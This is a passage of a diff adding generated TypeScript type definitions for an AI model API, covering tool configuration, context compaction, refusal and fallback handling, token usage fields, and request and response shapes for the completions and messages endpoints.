}) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_regex' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: BetaToolSearchToolRegex202511191Ecc7197TypeEnumKey +} + +/** + * @description Configuration for a group of tools from an MCP server. + * + * Allows configuring enabled status and defer_loading for all tools + * from an MCP server, with optional per-tool overrides. + * @type object + */ +export type BetaMCPToolset75684906 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Configuration overrides for specific tools, keyed by tool name + */ + configs?: { + [key: string]: BetaMCPToolConfig + } | null + /** + * @description Default configuration applied to all tools from this server + * @type object | undefined + */ + default_config?: BetaMCPToolDefaultConfig + /** + * @description Name of the MCP server to configure tools for + * @minLength 1 + * @maxLength 255 + * @type string + */ + mcp_server_name: string + /** + * @description The server's tool listing, pinned: when present, the server is not asked for its tools before sampling and exactly these entries, with `default_config` and `configs` applied, are the toolset's tools. Copy it from the `mcp_tool_listing` block of an earlier response. + */ + tools?: BetaMCPTool[] | null + type: 'mcp_toolset' +} + +export type BetaResponseToolUnion = + | BetaResponseTool + | BetaBashTool202410226A82561A + | BetaBashTool202501240A3F30A9 + | BetaCodeExecutionTool20250522A978Dea8 + | BetaCodeExecutionTool2025082539B385D6 + | BetaCodeExecutionTool202601202B97F577 + | BetaCodeExecutionTool20260521Addcb1Ec + | BetaBrowserToolset20260801D53Ee254 + | BetaComputerUseTool20241022F5D98C22 + | BetaMemoryTool202508186Bcb1Eba + | BetaComputerUseTool20250124511F8B11 + | BetaTextEditor202410223Bbe81E4 + | BetaComputerUseTool2025112487E41908 + | BetaComputerToolset20260801Ccd80937 + | BetaTextEditor20250124F0374477 + | BetaTextEditor202504298Eb582Ab + | BetaTextEditor202507284D5Ed9B9 + | BetaWebSearchTool2025030508De6E34 + | BetaWebFetchTool2025091087919Ab2 + | BetaWebSearchTool202602093Ac6Fb5A + | BetaWebFetchTool20260209841B8870 + | BetaWebFetchTool202603095Cd40B8F + | BetaWebSearchTool20260318F004454F + | BetaWebFetchTool20260318B512B845 + | BetaAdvisorTool202603017Db494Ff + | BetaToolSearchToolBM2520251119E56A62Cc + | BetaToolSearchToolRegex202511191Ecc7197 + | BetaMCPToolset75684906 + +/** + * @description A tool defined by value, as a `compaction` block's `tool_changes` entry + * reports it: `definition` is the tool's definition as it was sent, in the + * form of a `tools` entry, without `cache_control`. Send it back unchanged + * with the block. + * @type object + */ +export type BetaResponseToolChangeToolDefinition = { + definition: BetaResponseToolUnion + /** + * @default 'tool_definition' + * @type string + */ + type: 'tool_definition' +} + +/** + * @description An entry of a `compaction` block's `tool_changes`: a tool the + * compacted range made available, as a reference to a `tools` entry or + * MCP toolset, or as the tool definition in effect at the end of the + * range, by value. Send it back unchanged. + * @type object + */ +export type BetaResponseToolAdditionBlock = { + /** + * @description The tool made available: a reference to a `tools` entry or MCP toolset, or a `tool_definition` carrying the definition by value. + */ + tool: + | (BetaResponseToolChangeToolReference & { + type: 'tool_reference' + }) + | (BetaResponseToolChangeMCPToolReference & { + type: 'mcp_tool_reference' + }) + | (BetaResponseToolChangeMCPToolsetReference & { + type: 'mcp_toolset_reference' + }) + | (BetaResponseToolChangeToolDefinition & { + type: 'tool_definition' + }) + /** + * @default 'tool_addition' + * @type string + */ + type: 'tool_addition' +} + +/** + * @description An entry of a `compaction` block's `tool_changes`: a tool of the + * request's `tools` (or an MCP tool or toolset) that the compacted range + * withdrew. Send it back unchanged. + * @type object + */ +export type BetaResponseToolRemovalBlock = { + /** + * @description A reference to the withdrawn `tools` entry, MCP tool or MCP toolset. + */ + tool: + | (BetaResponseToolChangeToolReference & { + type: 'tool_reference' + }) + | (BetaResponseToolChangeMCPToolReference & { + type: 'mcp_tool_reference' + }) + | (BetaResponseToolChangeMCPToolsetReference & { + type: 'mcp_toolset_reference' + }) + /** + * @default 'tool_removal' + * @type string + */ + type: 'tool_removal' +} + +/** + * @description A compaction block returned when autocompact is triggered. + * + * When content is None, it indicates the compaction failed to produce a valid + * summary (e.g., malformed output from the model). Clients may round-trip + * compaction blocks with null content; the server treats them as no-ops. + * @type object + */ +export type BetaResponseCompactionBlock = { + /** + * @description Summary of compacted content, or null if compaction failed + */ + content: string | null + /** + * @description Opaque metadata from prior compaction, to be round-tripped verbatim + * @default null + */ + encrypted_content: string | null + /** + * @description Signature over the summary, to be sent back with the block verbatim + */ + signature?: string | null + /** + * @description The tool changes of the compacted range: the `tool_addition` and `tool_removal` blocks that take the request's `tools` to the tool set in effect at the end of the range, or `[]` when the range changed no tool. Absent when the server did not compute them. Send the block back unchanged. + */ + tool_changes?: + | ( + | (BetaResponseToolAdditionBlock & { + type: 'tool_addition' + }) + | (BetaResponseToolRemovalBlock & { + type: 'tool_removal' + }) + )[] + | null + /** + * @default 'compaction' + * @type string + */ + type: 'compaction' +} + +/** + * @description Identifies one hop of a fallback transition. + * @type object + */ +export type BetaResponseFallbackHopInfo = { + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model +} + +/** + * @description The policy category that triggered a refusal. + */ +export type BetaRefusalCategory = + | 'cyber' + | 'bio' + | 'frontier_llm' + | 'reasoning_extraction' + | 'general_harms' + +/** + * @description The `from` model declined for policy reasons. + * @type object + */ +export type BetaFallbackRefusalTrigger = { + /** + * @description The policy category that triggered the `from` model's refusal at this hop. `null` when the refusal doesn't map to a named category. Same vocabulary as `stop_details.category`. + * @default null + */ + category: BetaRefusalCategory | null + /** + * @default 'refusal' + * @type string + */ + type: 'refusal' +} + +/** + * @description Marks the point in `content` where one model's output gives way to the next. + * + * One block appears per hop where a preceding model actually ran this turn and + * declined. A turn where no preceding model ran and declined has no such + * boundary and carries no block — the signal for whether a fallback model + * served the response is the presence of a `fallback_message` entry in + * `usage.iterations`, not this block. + * + * The block is treated like a server-tool content block for streaming: it + * arrives via the standard `content_block_start` / `content_block_stop` + * pair and carries no deltas. + * @type object + */ +export type BetaResponseFallbackBlock = { + /** + * @description The model whose output ends at this point — the model that declined at this hop. When the declining hop is the requested model, its `model` echoes the top-level `model` string the caller sent (alias or canonical); when the declining hop is a fallback model, its `model` is that model's canonical id. + * @type object + */ + from: BetaResponseFallbackHopInfo + /** + * @description The fallback model producing the content that follows this block. Its `model` is always the canonical id. + * @type object + */ + to: BetaResponseFallbackHopInfo + /** + * @description What caused the `from` model to hand over at this hop. + * @type object + */ + trigger: BetaFallbackRefusalTrigger + /** + * @default 'fallback' + * @type string + */ + type: 'fallback' +} + +/** + * @description A tool as an MCP server lists it: its name on that server, its + * description, and its input schema. + * @type object + */ +export type BetaResponseMCPTool = { + description?: string + input_schema: { + [key: string]: BetaJsonValue + } + name: string +} + +/** + * @description The tool listing the server fetched from an MCP server while producing + * this response. Send the assistant message back unchanged, this block + * included, so later requests use this listing instead of asking the MCP + * server again. + * @type object + */ +export type BetaResponseMCPToolListingBlock = { + mcp_server_name: string + tools: BetaResponseMCPTool[] + /** + * @default 'mcp_tool_listing' + * @type string + */ + type: 'mcp_tool_listing' +} + +export type BetaContentBlock = + | (BetaResponseTextBlock & { + type: 'text' + }) + | (BetaResponseThinkingBlock & { + type: 'thinking' + }) + | (BetaResponseRedactedThinkingBlock & { + type: 'redacted_thinking' + }) + | (BetaResponseToolUseBlock & { + type: 'tool_use' + }) + | (BetaResponseServerToolUseBlock & { + type: 'server_tool_use' + }) + | (BetaResponseWebSearchToolResultBlock & { + type: 'web_search_tool_result' + }) + | (BetaResponseWebFetchToolResultBlock & { + type: 'web_fetch_tool_result' + }) + | (BetaResponseAdvisorToolResultBlock & { + type: 'advisor_tool_result' + }) + | (BetaResponseCodeExecutionToolResultBlock & { + type: 'code_execution_tool_result' + }) + | (BetaResponseBashCodeExecutionToolResultBlock & { + type: 'bash_code_execution_tool_result' + }) + | (BetaResponseTextEditorCodeExecutionToolResultBlock & { + type: 'text_editor_code_execution_tool_result' + }) + | (BetaResponseToolSearchToolResultBlock & { + type: 'tool_search_tool_result' + }) + | (BetaResponseMCPToolUseBlock & { + type: 'mcp_tool_use' + }) + | (BetaResponseMCPToolResultBlock & { + type: 'mcp_tool_result' + }) + | (BetaResponseContainerUploadBlock & { + type: 'container_upload' + }) + | (BetaResponseCompactionBlock & { + type: 'compaction' + }) + | (BetaResponseFallbackBlock & { + type: 'fallback' + }) + | (BetaResponseMCPToolListingBlock & { + type: 'mcp_tool_listing' + }) + +/** + * @description Request-level diagnostics: why the prompt cache could not fully reuse + * the prefix of the request named by `diagnostics.previous_message_id`. + * @type object + */ +export type BetaDiagnostics = { + /** + * @description Explains why the prompt cache could not fully reuse the prefix from the request identified by `diagnostics.previous_message_id`. `null` means diagnosis is still pending — the response was serialized before the background comparison completed. + * @default null + */ + cache_miss_reason: BetaCacheMissReason | null +} + +export const betaFallbackCreditNotAppliedReasonEnum = { + body_mismatch: 'body_mismatch', + continuation_excluded: 'continuation_excluded', + continuation_only: 'continuation_only', + expired: 'expired', + invalid_target_model: 'invalid_target_model', + not_enabled: 'not_enabled', + reprice_unavailable: 'reprice_unavailable', + temporarily_unavailable: 'temporarily_unavailable', + variant_fields_present: 'variant_fields_present', + wrong_organization: 'wrong_organization', + wrong_platform: 'wrong_platform', + wrong_workspace: 'wrong_workspace', +} as const + +export type BetaFallbackCreditNotAppliedReasonEnumKey = + (typeof betaFallbackCreditNotAppliedReasonEnum)[keyof typeof betaFallbackCreditNotAppliedReasonEnum] + +/** + * @description No reprice was applied; ``reason`` says why. + * @type object + */ +export type BetaFallbackCreditNotApplied = { + /** + * @description Why the reprice was not applied. + * + * A closed enum; additions to the redemption-check vocabulary arrive as + * deliberate schema updates. + * @type string + */ + reason: BetaFallbackCreditNotAppliedReasonEnumKey + /** + * @description Request fields to remove before retrying, so the retry can redeem this + * token. + * + * Present exactly when `reason` is `variant_fields_present` — never null, + * never an empty array; absent otherwise. Fields are named only from your own request, and only after + * the sealed variant hash matched. A served best-effort retry has already + * been billed at normal price; nothing redeems retroactively, but a corrected + * re-send inside the token's five-minute window can still redeem. + * @default null + */ + remove_to_redeem?: string[] | null + /** + * @default 'not_applied' + * @type string + */ + type: 'not_applied' +} + +/** + * @description The reprice was applied: the retry is billed as if the conversation + * had been on the retry model all along. + * @type object + */ +export type BetaFallbackCreditRedeemed = { + /** + * @default 'redeemed' + * @type string + */ + type: 'redeemed' +} + +/** + * @description Outcome of the ``fallback_credit_token`` presented on this request. + * @type object + */ +export type BetaFallbackCreditUsage = { + /** + * @description Whether the fallback-credit reprice was applied to this response's billing. + * + * A union discriminated on `type`. `redeemed`: the retry is billed as if + * the conversation had been on the retry model all along — including when the + * resulting shift is zero because there was nothing to move. `not_applied`: + * no reprice was applied; the arm's `reason` says why. + */ + status: + | (BetaFallbackCreditRedeemed & { + type: 'redeemed' + }) + | (BetaFallbackCreditNotApplied & { + type: 'not_applied' + }) +} + +/** + * @description Token usage for the fallback-model attempt of a server-side fallback request. + * + * The terminal entry of a fallback-served turn: when a fallback hop's + * output is the returned message, the entry for the iteration that + * completed it carries this type in place of `message`. A declined hop + * and the serving hop's earlier tool-loop iterations produce `message` + * entries. Whether a fallback model served the response is signalled by + * the presence of this entry in `usage.iterations`. + * @type object + */ +export type BetaFallbackMessageIterationUsage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: BetaCacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_creation_input_tokens: number + /** + * @description The number of input tokens read from the cache. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_read_input_tokens: number + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @type integer + */ + input_tokens: number + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @type integer + */ + output_tokens: number + /** + * @description Usage for the fallback-model attempt that served the response + * @default 'fallback_message' + * @type string + */ + type: 'fallback_message' +} + +export const betaThinkingDroppedInputTransformationReasonEnum = { + model_binding_mismatch: 'model_binding_mismatch', + prefix_binding_mismatch: 'prefix_binding_mismatch', + organization_binding_mismatch: 'organization_binding_mismatch', + end_user_binding_mismatch: 'end_user_binding_mismatch', +} as const + +export type BetaThinkingDroppedInputTransformationReasonEnumKey = + (typeof betaThinkingDroppedInputTransformationReasonEnum)[keyof typeof betaThinkingDroppedInputTransformationReasonEnum] + +export type BetaThinkingDroppedInputTransformation = { + /** + * @description Where the removed block was in your request, as `messages.{i}.content.{j}`: + * `i` indexes the `messages` array you sent and `j` that message's `content` + * array — the same form error messages use. + * @type string + */ + path: string + /** + * @description Which binding check removed the block: `model_binding_mismatch` — it was + * created by a model whose reasoning the requested model may not read; + * `prefix_binding_mismatch` — the conversation before it differs from the + * conversation it was created in (the rest of that turn's consecutive thinking + * blocks are removed with it, each with this reason); + * `organization_binding_mismatch` — it was created under a different + * organization (an Anthropic organization, AWS account or Google Cloud project) + * and this organization is not one of its additional organizations; + * `end_user_binding_mismatch` — it was created for a different end user, or + * was removed by the consumer-organization binding. A block that would fail + * several checks reports one reason, in this order of precedence: + * `organization_binding_mismatch`, `end_user_binding_mismatch`, + * `model_binding_mismatch`, `prefix_binding_mismatch`. + * @type string + */ + reason: BetaThinkingDroppedInputTransformationReasonEnumKey + /** + * @description Always `thinking_dropped` for this entry type. + * @default 'thinking_dropped' + * @type string + */ + type: 'thinking_dropped' +} + +export const betaThinkingMismatchAllowedInputTransformationReasonEnum = { + model_binding_mismatch: 'model_binding_mismatch', + prefix_binding_mismatch: 'prefix_binding_mismatch', + organization_binding_mismatch: 'organization_binding_mismatch', + end_user_binding_mismatch: 'end_user_binding_mismatch', +} as const + +export type BetaThinkingMismatchAllowedInputTransformationReasonEnumKey = + (typeof betaThinkingMismatchAllowedInputTransformationReasonEnum)[keyof typeof betaThinkingMismatchAllowedInputTransformationReasonEnum] + +export type BetaThinkingMismatchAllowedInputTransformation = { + /** + * @description Where the block is in your request, as `messages.{i}.content.{j}`: + * `i` indexes the `messages` array you sent and `j` that message's `content` + * array — the same form error messages use. + * @type string + */ + path: string + /** + * @description Which binding check the block failed; the block was shown to the model all + * the same. Always `prefix_binding_mismatch` today — the conversation before + * the block differs from the conversation it was created in, or the block + * carries no record of one on a model that requires it. Were the check + * enforced for this request, the block would have been removed or the request + * rejected (`thinking.block_binding.prefix_mismatch_behavior`). A removal also + * takes the rest of that turn's consecutive thinking blocks, whereas here each + * block is checked on its own, so `thinking_mismatch_allowed` entries are a + * lower bound on what enforcement would remove. + * @type string + */ + reason: BetaThinkingMismatchAllowedInputTransformationReasonEnumKey + /** + * @description Always `thinking_mismatch_allowed` for this entry type. + * @default 'thinking_mismatch_allowed' + * @type string + */ + type: 'thinking_mismatch_allowed' +} + +/** + * @description One entry of `input_transformations`: either a change the API made to the + * request's input before showing it to the model, or a block that failed a + * binding check and was still shown to the model unchanged. The `type` field + * says which. + */ +export type BetaInputTransformation = + | (BetaThinkingDroppedInputTransformation & { + type: 'thinking_dropped' + }) + | (BetaThinkingMismatchAllowedInputTransformation & { + type: 'thinking_mismatch_allowed' + }) + +/** + * @description Token usage for a sampling iteration. + * @type object + */ +export type BetaMessageIterationUsage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: BetaCacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_creation_input_tokens: number + /** + * @description The number of input tokens read from the cache. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_read_input_tokens: number + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @type integer + */ + input_tokens: number + /** + * @default null + */ + model: Model | null + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @type integer + */ + output_tokens: number + /** + * @description Usage for a sampling iteration + * @default 'message' + * @type string + */ + type: 'message' +} + +/** + * @description Per-iteration token usage breakdown. + * + * Each entry represents one sampling iteration, with its own input/output token counts and cache statistics, discriminated by `type`. For `message` entries (model sampling iterations, such as the turns of a server-side tool use loop), this allows you to: + * - Calculate the context window size from the last `message` entry + * - Understand token accumulation across server-side tool use loops + * + * A `compaction` entry reports the token usage of the compaction operation itself — the server-side request that summarizes the context being closed — NOT the size of the context that was compacted away, and its token counts can be much smaller than that closed context (for example, a compaction that closes a ~200k-token context can report only a few thousand tokens). Do not derive the context window size from a `compaction` entry, even when it is the last entry. A `compaction` entry's tokens are not included in the top-level `usage` fields. When an input-token trigger is in effect (the default — 150,000 tokens unless configured otherwise), each `compaction` entry closes a context that had reached at least that threshold, though the context can exceed it by the final iteration's output and tool results. + */ +export type BetaIterationsUsage = + | ( + | (BetaMessageIterationUsage & { + type: 'message' + }) + | (BetaCompactionIterationUsage & { + type: 'compaction' + }) + | (BetaAdvisorMessageIterationUsage & { + type: 'advisor_message' + }) + | (BetaFallbackMessageIterationUsage & { + type: 'fallback_message' + }) + )[] + | null + +export type BetaOutputTokensDetails = { + /** + * @description Number of output tokens the model generated as internal reasoning, including + * the thinking-block delimiter tokens. + * + * Reflects the raw reasoning the model produced, not the (possibly shorter) + * summarized thinking text returned in the response body. It may differ from the model's exact + * generation count by a small number of tokens. Always ≤ `output_tokens`; + * `output_tokens - thinking_tokens` approximates the non-reasoning output. + * @minimum 0 + * @default 0 + * @type integer + */ + thinking_tokens: number +} + +/** + * @description Structured information about a refusal. + * @type object + */ +export type BetaRefusalStopDetails = { + /** + * @description The policy category that triggered the refusal. + * + * `null` when the refusal doesn't map to a named category. + * @default null + */ + category: BetaRefusalCategory | null + /** + * @description Human-readable explanation of the refusal. + * + * This text is not guaranteed to be stable. `null` when no explanation is available for the category. + * @default null + * @example This request was declined because it conflicts with Anthropic's Usage Policy. + */ + explanation: string | null + /** + * @description Opaque code that refunds the cache-miss cost when retrying this refused + * request on the fallback model. Pass it as `fallback_credit_token` on the + * retry request. Expires 5 minutes after the refusal. + * + * The retry is sent either with the same request body (`system`, `messages`, + * `tools`, and other render-shaping fields), or with the same body plus one + * appended `assistant` message whose content is the partial text (with any + * trailing whitespace stripped from the final text block) and paired + * server-tool blocks from this refusal — which also authorizes that + * appended turn as an assistant-prefill continuation on models that otherwise + * disallow prefill. A token minted mid-server-tool-loop whose partial content + * was continuable may only be redeemed the second way — if a same-body retry + * is rejected with a 400 saying the token must be redeemed by continuing the + * partial response, retry the second way instead. Either way: same workspace, + * same platform; a mismatch is a 400. Resending a token for an already-warm + * prefix is permitted but yields no additional credit. + * + * `null` when the refused model isn't eligible for a fallback credit. + * @default null + * @example QW50aHJvcGljL0NsYXVkZQ== + */ + fallback_credit_token: string | null + /** + * @description Whether the accompanying `fallback_credit_token` may be redeemed with the + * appended-assistant retry form. Only set when `fallback_credit_token` is + * present. + * + * `true`: retry by resending the same request body plus one appended + * `assistant` message whose content is this response's `content` with any + * trailing whitespace stripped from the final text block and unpaired + * `tool_use` blocks omitted (the same appended-turn shape described on + * `fallback_credit_token`), with the token attached. `false`: retry by + * resending the original request body unchanged, with the token attached — + * the appended-assistant form is not available for this refusal (no + * continuable partial content, or the request uses `output_format` or a + * `tool_choice` that forces tool use). One exception: when the request used + * `output_format` or a forced `tool_choice` and the refusal arrived after + * server tools (including MCP connector tools) had already executed, the + * token may not be redeemable by either retry form; if the exact-body retry + * is then rejected with a 400 saying the token must be redeemed by + * continuing the partial response, discard the token and retry without it. + * + * Advisory: if an appended-assistant retry is rejected with a 400 despite + * `true`, fall back to resending the original request body with the token. + * @default null + */ + fallback_has_prefill_claim: boolean | null + /** + * @description The server's suggested retry target for this refusal. Populated when a fallback attempt could not be made (the fallback model's rate limit was exhausted, or it was overloaded); names the fallback model the caller can retry directly. Null otherwise. + * @default null + * @example claude-opus-4-8 + */ + recommended_model: string | null + /** + * @default 'refusal' + * @type string + */ + type: 'refusal' +} + +export type BetaResponseClearThinking20251015Edit = { + /** + * @description Number of input tokens cleared by this edit. + * @minimum 0 + * @type integer + */ + cleared_input_tokens: number + /** + * @description Number of thinking turns that were cleared. + * @minimum 0 + * @type integer + */ + cleared_thinking_turns: number + /** + * @description The type of context management edit applied. + * @default 'clear_thinking_20251015' + * @type string + */ + type: 'clear_thinking_20251015' +} + +export type BetaResponseClearToolUses20250919Edit = { + /** + * @description Number of input tokens cleared by this edit. + * @minimum 0 + * @type integer + */ + cleared_input_tokens: number + /** + * @description Number of tool uses that were cleared. + * @minimum 0 + * @type integer + */ + cleared_tool_uses: number + /** + * @description The type of context management edit applied. + * @default 'clear_tool_uses_20250919' + * @type string + */ + type: 'clear_tool_uses_20250919' +} + +export type BetaResponseContextManagement = { + /** + * @description List of context management edits that were applied. + * @type array + */ + applied_edits: ( + | (BetaResponseClearToolUses20250919Edit & { + type: 'clear_tool_uses_20250919' + }) + | (BetaResponseClearThinking20251015Edit & { + type: 'clear_thinking_20251015' + }) + )[] +} + +export type BetaServerToolUsage = { + /** + * @description The number of web fetch tool requests. + * @minimum 0 + * @default 0 + * @example 2 + * @type integer + */ + web_fetch_requests: number + /** + * @description The number of web search tool requests. + * @minimum 0 + * @default 0 + * @example 0 + * @type integer + */ + web_search_requests: number +} + +export const betaStopReason = { + end_turn: 'end_turn', + max_tokens: 'max_tokens', + stop_sequence: 'stop_sequence', + tool_use: 'tool_use', + pause_turn: 'pause_turn', + compaction: 'compaction', + refusal: 'refusal', + model_context_window_exceeded: 'model_context_window_exceeded', +} as const + +export type BetaStopReasonKey = + (typeof betaStopReason)[keyof typeof betaStopReason] + +export const betaUsageServiceTier = { + standard: 'standard', + priority: 'priority', + batch: 'batch', +} as const + +export type BetaUsageServiceTierKey = + (typeof betaUsageServiceTier)[keyof typeof betaUsageServiceTier] + +export type BetaUsage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: BetaCacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @default null + * @example 2051 + */ + cache_creation_input_tokens: number | null + /** + * @description The number of input tokens read from the cache. + * @default null + * @example 2051 + */ + cache_read_input_tokens: number | null + /** + * @description Outcome of the `fallback_credit_token` presented on this request. + * + * Present on every response to a non-batch request that carried a + * `fallback_credit_token`, in either redemption mode; absent otherwise (batch + * items accept and ignore the token and carry no outcome object). + * @default null + */ + fallback_credit: BetaFallbackCreditUsage | null + /** + * @description The geographic region where inference was performed for this request. + * @default null + * @example global + */ + inference_geo: string | null + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @example 2095 + * @type integer + */ + input_tokens: number + /** + * @description Per-iteration token usage breakdown. + * + * Each entry represents one sampling iteration, with its own input/output token counts and cache statistics, discriminated by `type`. For `message` entries (model sampling iterations, such as the turns of a server-side tool use loop), this allows you to: + * - Calculate the context window size from the last `message` entry + * - Understand token accumulation across server-side tool use loops + * + * A `compaction` entry reports the token usage of the compaction operation itself — the server-side request that summarizes the context being closed — NOT the size of the context that was compacted away, and its token counts can be much smaller than that closed context (for example, a compaction that closes a ~200k-token context can report only a few thousand tokens). Do not derive the context window size from a `compaction` entry, even when it is the last entry. A `compaction` entry's tokens are not included in the top-level `usage` fields. When an input-token trigger is in effect (the default — 150,000 tokens unless configured otherwise), each `compaction` entry closes a context that had reached at least that threshold, though the context can exceed it by the final iteration's output and tool results. + */ + iterations: BetaIterationsUsage + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @example 503 + * @type integer + */ + output_tokens: number + /** + * @description Breakdown of output tokens by category. + * + * `output_tokens` remains the inclusive, authoritative total used for billing. + * This object provides a read-only decomposition for observability — for example, + * how many of the billed output tokens were spent on internal reasoning that may + * have been summarized before being returned to you. + * @default null + */ + output_tokens_details: BetaOutputTokensDetails | null + /** + * @description The number of server tool requests. + * @default null + */ + server_tool_use: BetaServerToolUsage | null + /** + * @description If the request used the priority, standard, or batch tier. + * @default null + */ + service_tier: BetaUsageServiceTierKey | null + /** + * @description The inference speed mode used for this request. + * @default null + */ + speed: BetaSpeedKey | null +} + +export type AnthropicPostV1CompleteHeaders = { + 'anthropic-version': '2023-06-01' +} + +/** + * @example {"completion":" Hello! My name is Claude.","id":"compl_018CKm6gsux7P8yMcwZbeCPw","model":"claude-2.1","stop_reason":"stop_sequence","type":"completion"} + * @type object + */ +export type AnthropicPostV1CompleteStatus200 = { + /** + * @description The resulting completion up to and excluding the stop sequences. + * @example Hello! My name is Claude. + * @type string + */ + completion: string + /** + * @description Unique object identifier. + * + * The format and length of IDs may change over time. + * @type string + */ + id: string + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The reason that we stopped. + * + * This may be one the following values: + * * `"stop_sequence"`: we reached a stop sequence — either provided by you via the `stop_sequences` parameter, or a stop sequence built into the model + * * `"max_tokens"`: we exceeded `max_tokens_to_sample` or the model's maximum + * @example stop_sequence + */ + stop_reason: string | null + /** + * @description Object type. + * + * For Text Completions, this is always `"completion"`. + * @default 'completion' + * @type string + */ + type: 'completion' +} + +/** + * @example {"max_tokens_to_sample":256,"model":"claude-2.1","prompt":"\n\nHuman: Hello, world!\n\nAssistant:"} + * @type object + */ +export type AnthropicPostV1CompleteBody = { + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The prompt that you want Claude to complete. + * + * For proper response generation you will need to format your prompt using alternating `\n\nHuman:` and `\n\nAssistant:` conversational turns. For example: + * + * ``` + * "\n\nHuman: {userQuestion}\n\nAssistant:" + * ``` + * + * See [prompt validation](https://platform.claude.com/docs/en/build-with-claude/working-with-messages) and our guide to [prompt design](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/overview) for more details. + * @minLength 1 + * @example + * + * Human: Hello, world! + * + * Assistant: + * @type string + */ + prompt: string + /** + * @description The maximum number of tokens to generate before stopping. + * + * Note that our models may stop _before_ reaching this maximum. This parameter only specifies the absolute maximum number of tokens to generate. + * @minimum 1 + * @example 256 + * @type integer + */ + max_tokens_to_sample: number + /** + * @description Sequences that will cause the model to stop generating. + * + * Our models stop on `"\n\nHuman:"`, and may include additional built-in stop sequences in the future. By providing the stop_sequences parameter, you may include additional strings that will cause the model to stop generating. + * @type array | undefined + */ + stop_sequences?: string[] + /** + * @description Amount of randomness injected into the response. + * + * Defaults to `1.0`. Ranges from `0.0` to `1.0`. Use `temperature` closer to `0.0` for analytical / multiple choice, and closer to `1.0` for creative and generative tasks. + * + * Note that even with `temperature` of `0.0`, the results will not be fully deterministic. + * @deprecated + * @minimum 0 + * @maximum 1 + * @example 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Use nucleus sampling. + * + * In nucleus sampling, we compute the cumulative distribution over all the options for each subsequent token in decreasing probability order and cut it off once it reaches a particular probability specified by `top_p`. + * + * Recommended for advanced use cases only. + * @deprecated + * @minimum 0 + * @maximum 1 + * @example 0.7 + * @type number | undefined + */ + top_p?: number + /** + * @description Only sample from the top K options for each subsequent token. + * + * Used to remove "long tail" low probability responses. [Learn more technical details here](https://towardsdatascience.com/how-to-sample-from-language-models-682bceb97277). + * + * Recommended for advanced use cases only. + * @deprecated + * @minimum 0 + * @example 5 + * @type integer | undefined + */ + top_k?: number + /** + * @description An object describing metadata about the request. + * @type object | undefined + */ + metadata?: Metadata + /** + * @description Whether to incrementally stream the response using server-sent events. + * + * See [streaming](https://platform.claude.com/docs/en/build-with-claude/streaming) for details. + * @type boolean | undefined + */ + stream?: boolean +} + +export type AnthropicPostV1CompleteOptions = { + body: AnthropicPostV1CompleteBody + path?: never + query?: never + headers: AnthropicPostV1CompleteHeaders +} + +export type AnthropicPostV1CompleteResponses = { + '200': AnthropicPostV1CompleteStatus200 +} + +/** + * @description Union of all possible responses + */ +export type AnthropicPostV1CompleteResponse = AnthropicPostV1CompleteStatus200 + +export type AnthropicPostV1MessagesHeaders = { + 'anthropic-version': '2023-06-01' +} + +/** + * @example {"content":[{"citations":null,"text":"Hi! My name is Claude.","type":"text"}],"diagnostics":null,"id":"msg_013Zva2CMHLNnXjNJJKqJ2EF","model":"claude-opus-5-5","role":"assistant","stop_details":null,"stop_reason":"end_turn","stop_sequence":null,"type":"message","usage":{"input_tokens":2095,"output_tokens":503,"speed":"standard"}} + * @type object + */ +export type AnthropicPostV1MessagesStatus200 = { + /** + * @description Unique object identifier. + * + * The format and length of IDs may change over time. + * @example msg_013Zva2CMHLNnXjNJJKqJ2EF + * @type string + */ + id: string + /** + * @description Object type. + * + * For Messages, this is always `"message"`. + * @default 'message' + * @type string + */ + type: 'message' + /** + * @description Conversational role of the generated message. + * + * This will always be `"assistant"`. + * @default 'assistant' + * @type string + */ + role: 'assistant' + /** + * @description Content generated by the model. + * + * This is an array of content blocks, each of which has a `type` that determines its shape. + * + * Example: + * + * ```json + * [{"type": "text", "text": "Hi, I'm Claude."}] + * ``` + * + * If the request input `messages` ended with an `assistant` turn, then the response `content` will continue directly from that last turn. You can use this to constrain the model's output. + * + * For example, if the input `messages` were: + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("} + * ] + * ``` + * + * Then the response `content` might be: + * + * ```json + * [{"type": "text", "text": "B)"}] + * ``` + * @example [{"citations":null,"text":"Hi! My name is Claude.","type":"text"}] + * @type array + */ + content: ContentBlock[] + /** + * @description The model that will complete your prompt. + * + * See 